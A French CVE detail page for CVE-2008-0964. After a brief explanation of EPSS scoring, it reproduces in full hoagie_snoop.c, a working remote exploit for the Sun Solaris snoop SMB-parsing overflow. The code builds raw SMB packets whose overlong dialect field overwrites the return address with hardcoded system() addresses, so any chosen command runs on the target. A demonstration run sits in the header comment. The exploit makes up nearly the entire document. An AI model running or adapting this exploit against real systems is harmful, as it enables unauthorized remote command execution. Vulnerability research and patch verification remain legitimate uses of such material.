CVE-2008-0964 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/*********************************************************** * hoagie_snoop.c * SUN SOLARIS SNOOP REMOTE EXPLOIT * + Sun Solaris 8/9/10 * + OpenSolaris < snv_96 * * Bug discovered by Gael Delalleau * https://www.securityfocus.com/bid/30556 * * attack:/exploits# ./hoagie_snoop -t 192.168.0.1 * hoagie_snoop.c - solaris snoop remote * -andi / void.at * * [*] attacking 'SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc' on '192.168.0.1' ... * [*] execute 'uname -a > /tmp/.patch.your.system.txt' now ... * [*] done * attack:/exploits# * * admin@opensolaris:~# snoop port 445 * Using device pcn0 (promiscuous mode) * sh[1]: ï¿œSMBr: not found [No such file or directory] * WARNING: received signal 11 from packet 1 * ^Cadmin@opensolaris:~# cat /tmp/.patch.your.system.txt * SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc Solaris * admin@opensolaris:~# * * !!!UND IMMER DEINE FREUNDE, IHR NEHMT DOCH ALLE DROGEN!!! * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * [email protected] * http://www.void.at * ************************************************************/ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <time.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #define MAX_PACKET 4096 #define SMB_COMMAND_TRIGGER 0x72 #define SMB_PORT_DEFAULT 445 #define SMB_TARGET_DEFAULT "127.0.0.1" #define SMB_HEADER_FILLER 0x20 struct target_t { char *description; int address; } targets [] = { { /* -r-xr-xr-x 1 root bin 580460 2008-04-27 03:51 /usr/sbin/snoop */ "SunOS 5.11 snv_86 i86pc i386", /* system() address */ 0xd2adc2a0 }, { /* -r-xr-xr-x 1 root bin 529956 Nov 13 2006 /usr/sbin/snoop */ "SunOS 5.10 Generic_118833-33 sun4u sparc", /* system() address */ 0xff1a7c00 }, { NULL, 0, } }; /* usage * display help screen */ void usage(int argc, char **argv) { int i; printf("usage: %s [-i <id>] [-t <host>] [-c <command>]\n" "\n" "-i id for target\n" "-t host running snoop\n" "-c command to execute\n" "\n\n" "available ids:\n" , argv[0]); for (i = 0; targets[i].description != NULL; i++) { printf("%2d : %s\n", i, targets[i].description); } exit(1); } /* create_smb_packet */ void send_smb_packet(int s, struct sockaddr_in *sin, char smbcommand, char *content) { char *packet = (char*)malloc(MAX_PACKET); int length = 0; struct tcphdr *tcp; char *data; int r; if (packet) { memset(packet, 0, MAX_PACKET); tcp = (struct tcphdr*)packet; tcp->source = sin->sin_port; tcp->dest = sin->sin_port; tcp->doff = sizeof(struct tcphdr) / 4; tcp->ack = 1; tcp->psh = 1; tcp->window = htons(32768); data = packet + sizeof(struct tcphdr); length = 4; strcpy(data + length, "\xffSMB"); length += 4; /* smb command */ data[length++] = smbcommand; /* status */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* flags */ data[length++] = 0x18; /* flags2 */ data[length++] = 0x80; data[length++] = 0x01; /* extra field */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* tid */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* client process id */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* uid */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* mid */ data[length++] = SMB_HEADER_FILLER; data[length++] = SMB_HEADER_FILLER; /* word count */ data[length++] = SMB_HEADER_FILLER; /* byte count */ data[length++] = strlen(content) & 0xff; data[length++] = (strlen(content) >> 8) & 0xff; data[length++] = 0x02; if (content) { /* content */ strcpy(data + length, content); length += strlen(content); } data[length++] = 0x00; /* set length for smb data */ data[3] = (length - 4) & 0xff; data[2] = ((length - 4) >> 8) & 0xff; /* send packet */ r = sendto(s, packet, sizeof(struct tcphdr) + length, 0, (struct sockaddr*)sin, sizeof(struct sockaddr_in)); } } /* main entry */ int main(int argc, char **argv) { char c; char *target = SMB_TARGET_DEFAULT; int port = SMB_PORT_DEFAULT; int s = 0; struct sockaddr_in sin; int i = 0; char buffer[1024]; int idx = 0; char *command = NULL; printf("hoagie_snoop.c - solaris snoop remote\n" "-andi / void.at\n\n"); if (argc < 2) { usage(argc, argv); } else { while ((c = getopt (argc, argv, "hvt:p:r:i:c:")) != EOF) { switch (c) { case 't': target = optarg; break; case 'p': port = atoi(optarg); break; case 'i': idx = atoi(optarg); break; case 'c': command = optarg; break; default: printf("[*] unknown command line option '%c'\n", c); exit(-1); } } } s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s == -1) { printf("[*] failed to create raw socket\n"); } else { sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(target); if (!command) { command = "uname -a > /tmp/.patch.your.system.txt"; } printf("[*] attacking '%s' on '%s' ...\n", targets[idx].description, target); snprintf(buffer, sizeof(buffer), ";%s;", command); /* char dialect[256] */ for (i = strlen(buffer); i < 256; i++) { buffer[i] = SMB_HEADER_FILLER; } /* int bytecount */ buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; /* int length */ buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; /* dummy address */ buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; /* framepointer / ebp */ buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; buffer[i++] = SMB_HEADER_FILLER; /* return address */ buffer[i++] = targets[idx].address & 0xff; buffer[i++] = (targets[idx].address >> 8) & 0xff; buffer[i++] = (targets[idx].address >> 16) & 0xff; buffer[i++] = (targets[idx].address >> 24) & 0xff; printf("[*] execute '%s' now ...\n", command); send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER, buffer); printf("[*] done\n"); close(s); } return 0; } // milw0rm.com [2008-08-29]